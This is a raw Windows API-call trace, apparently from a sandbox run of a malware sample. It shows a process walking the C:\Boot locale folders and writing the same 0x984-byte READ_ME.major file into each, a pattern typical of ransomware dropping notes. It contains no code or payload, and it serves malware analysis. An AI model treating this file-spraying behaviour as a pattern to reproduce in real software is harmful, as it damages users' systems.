[0121.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e2c8 [0121.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e4a8 [0121.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e1b0 [0121.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0121.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0121.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.861] GetLastError () returned 0x0 [0121.861] SetLastError (dwErrCode=0x0) [0121.861] GetLastError () returned 0x0 [0121.861] SetLastError (dwErrCode=0x0) [0121.861] GetLastError () returned 0x0 [0121.861] SetLastError (dwErrCode=0x0) [0121.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.861] CreateFileW (lpFileName="\\Boot\\lt-LT\\READ_ME.major" (normalized: "c:\\boot\\lt-lt\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.862] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.863] CloseHandle (hObject=0x458) returned 1 [0121.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0121.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e1b0 | out: hHeap=0x570000) returned 1 [0121.864] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0121.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.864] GetLastError () returned 0x0 [0121.864] SetLastError (dwErrCode=0x0) [0121.864] GetLastError () returned 0x0 [0121.864] SetLastError (dwErrCode=0x0) [0121.864] GetLastError () returned 0x0 [0121.864] SetLastError (dwErrCode=0x0) [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e110 [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e318 [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e2a0 [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0121.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.864] GetLastError () returned 0x0 [0121.864] SetLastError (dwErrCode=0x0) [0121.864] GetLastError () returned 0x0 [0121.864] SetLastError (dwErrCode=0x0) [0121.864] GetLastError () returned 0x0 [0121.864] SetLastError (dwErrCode=0x0) [0121.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.865] CreateFileW (lpFileName="\\Boot\\lv-LV\\READ_ME.major" (normalized: "c:\\boot\\lv-lv\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.865] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.866] CloseHandle (hObject=0x458) returned 1 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2a0 | out: hHeap=0x570000) returned 1 [0121.867] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.867] GetLastError () returned 0x0 [0121.867] SetLastError (dwErrCode=0x0) [0121.867] GetLastError () returned 0x0 [0121.867] SetLastError (dwErrCode=0x0) [0121.867] GetLastError () returned 0x0 [0121.867] SetLastError (dwErrCode=0x0) [0121.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e520 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e520 | out: hHeap=0x570000) returned 1 [0121.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0121.867] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0121.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.867] GetLastError () returned 0x0 [0121.867] SetLastError (dwErrCode=0x0) [0121.867] GetLastError () returned 0x0 [0121.867] SetLastError (dwErrCode=0x0) [0121.867] GetLastError () returned 0x0 [0121.867] SetLastError (dwErrCode=0x0) [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e340 [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e520 [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e2a0 [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.868] GetLastError () returned 0x0 [0121.868] SetLastError (dwErrCode=0x0) [0121.868] GetLastError () returned 0x0 [0121.868] SetLastError (dwErrCode=0x0) [0121.868] GetLastError () returned 0x0 [0121.868] SetLastError (dwErrCode=0x0) [0121.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.868] CreateFileW (lpFileName="\\Boot\\nb-NO\\READ_ME.major" (normalized: "c:\\boot\\nb-no\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.869] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.870] CloseHandle (hObject=0x458) returned 1 [0121.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0121.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2a0 | out: hHeap=0x570000) returned 1 [0121.870] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0121.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.870] GetLastError () returned 0x0 [0121.870] SetLastError (dwErrCode=0x0) [0121.870] GetLastError () returned 0x0 [0121.870] SetLastError (dwErrCode=0x0) [0121.870] GetLastError () returned 0x0 [0121.870] SetLastError (dwErrCode=0x0) [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e1d8 [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e408 [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e368 [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.871] GetLastError () returned 0x0 [0121.871] SetLastError (dwErrCode=0x0) [0121.871] GetLastError () returned 0x0 [0121.871] SetLastError (dwErrCode=0x0) [0121.871] GetLastError () returned 0x0 [0121.871] SetLastError (dwErrCode=0x0) [0121.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.871] CreateFileW (lpFileName="\\Boot\\nl-NL\\READ_ME.major" (normalized: "c:\\boot\\nl-nl\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.871] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.872] CloseHandle (hObject=0x458) returned 1 [0121.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0121.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e368 | out: hHeap=0x570000) returned 1 [0121.873] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0121.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.873] GetLastError () returned 0x0 [0121.873] SetLastError (dwErrCode=0x0) [0121.873] GetLastError () returned 0x0 [0121.873] SetLastError (dwErrCode=0x0) [0121.873] GetLastError () returned 0x0 [0121.873] SetLastError (dwErrCode=0x0) [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e368 [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e0c0 [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e160 [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.873] GetLastError () returned 0x0 [0121.873] SetLastError (dwErrCode=0x0) [0121.873] GetLastError () returned 0x0 [0121.873] SetLastError (dwErrCode=0x0) [0121.873] GetLastError () returned 0x0 [0121.873] SetLastError (dwErrCode=0x0) [0121.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.874] CreateFileW (lpFileName="\\Boot\\pl-PL\\READ_ME.major" (normalized: "c:\\boot\\pl-pl\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.875] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.876] CloseHandle (hObject=0x458) returned 1 [0121.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0121.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0121.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e160 | out: hHeap=0x570000) returned 1 [0121.877] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0121.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.877] GetLastError () returned 0x0 [0121.877] SetLastError (dwErrCode=0x0) [0121.877] GetLastError () returned 0x0 [0121.877] SetLastError (dwErrCode=0x0) [0121.877] GetLastError () returned 0x0 [0121.877] SetLastError (dwErrCode=0x0) [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e3e0 [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e138 [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e598 [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1f0 [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0121.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.877] GetLastError () returned 0x0 [0121.877] SetLastError (dwErrCode=0x0) [0121.877] GetLastError () returned 0x0 [0121.877] SetLastError (dwErrCode=0x0) [0121.877] GetLastError () returned 0x0 [0121.877] SetLastError (dwErrCode=0x0) [0121.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.878] CreateFileW (lpFileName="\\Boot\\pt-BR\\READ_ME.major" (normalized: "c:\\boot\\pt-br\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.878] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.879] CloseHandle (hObject=0x458) returned 1 [0121.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0121.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e598 | out: hHeap=0x570000) returned 1 [0121.880] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0121.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.880] GetLastError () returned 0x0 [0121.880] SetLastError (dwErrCode=0x0) [0121.880] GetLastError () returned 0x0 [0121.880] SetLastError (dwErrCode=0x0) [0121.880] GetLastError () returned 0x0 [0121.880] SetLastError (dwErrCode=0x0) [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e598 [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e250 [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e228 [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0121.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.880] GetLastError () returned 0x0 [0121.880] SetLastError (dwErrCode=0x0) [0121.880] GetLastError () returned 0x0 [0121.880] SetLastError (dwErrCode=0x0) [0121.880] GetLastError () returned 0x0 [0121.881] SetLastError (dwErrCode=0x0) [0121.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.881] CreateFileW (lpFileName="\\Boot\\pt-PT\\READ_ME.major" (normalized: "c:\\boot\\pt-pt\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.881] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.882] CloseHandle (hObject=0x458) returned 1 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e228 | out: hHeap=0x570000) returned 1 [0121.883] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.883] GetLastError () returned 0x0 [0121.883] SetLastError (dwErrCode=0x0) [0121.883] GetLastError () returned 0x0 [0121.883] SetLastError (dwErrCode=0x0) [0121.883] GetLastError () returned 0x0 [0121.883] SetLastError (dwErrCode=0x0) [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e2f0 [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e430 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2f0 | out: hHeap=0x570000) returned 1 [0121.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e430 | out: hHeap=0x570000) returned 1 [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e430 [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e160 [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e0e8 [0121.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1e0 [0121.883] GetLastError () returned 0x0 [0121.884] SetLastError (dwErrCode=0x0) [0121.884] GetLastError () returned 0x0 [0121.884] SetLastError (dwErrCode=0x0) [0121.884] GetLastError () returned 0x0 [0121.884] SetLastError (dwErrCode=0x0) [0121.884] CreateFileW (lpFileName="\\Boot\\qps-ploc\\READ_ME.major" (normalized: "c:\\boot\\qps-ploc\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.884] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.885] CloseHandle (hObject=0x458) returned 1 [0121.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0121.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0121.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0e8 | out: hHeap=0x570000) returned 1 [0121.885] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfecbcdfd, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfecbcdfd, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfecbcdfd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0121.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.885] GetLastError () returned 0x0 [0121.885] SetLastError (dwErrCode=0x0) [0121.885] GetLastError () returned 0x0 [0121.885] SetLastError (dwErrCode=0x0) [0121.885] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e390 | out: hHeap=0x570000) returned 1 [0121.886] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0121.886] HeapFree (in: 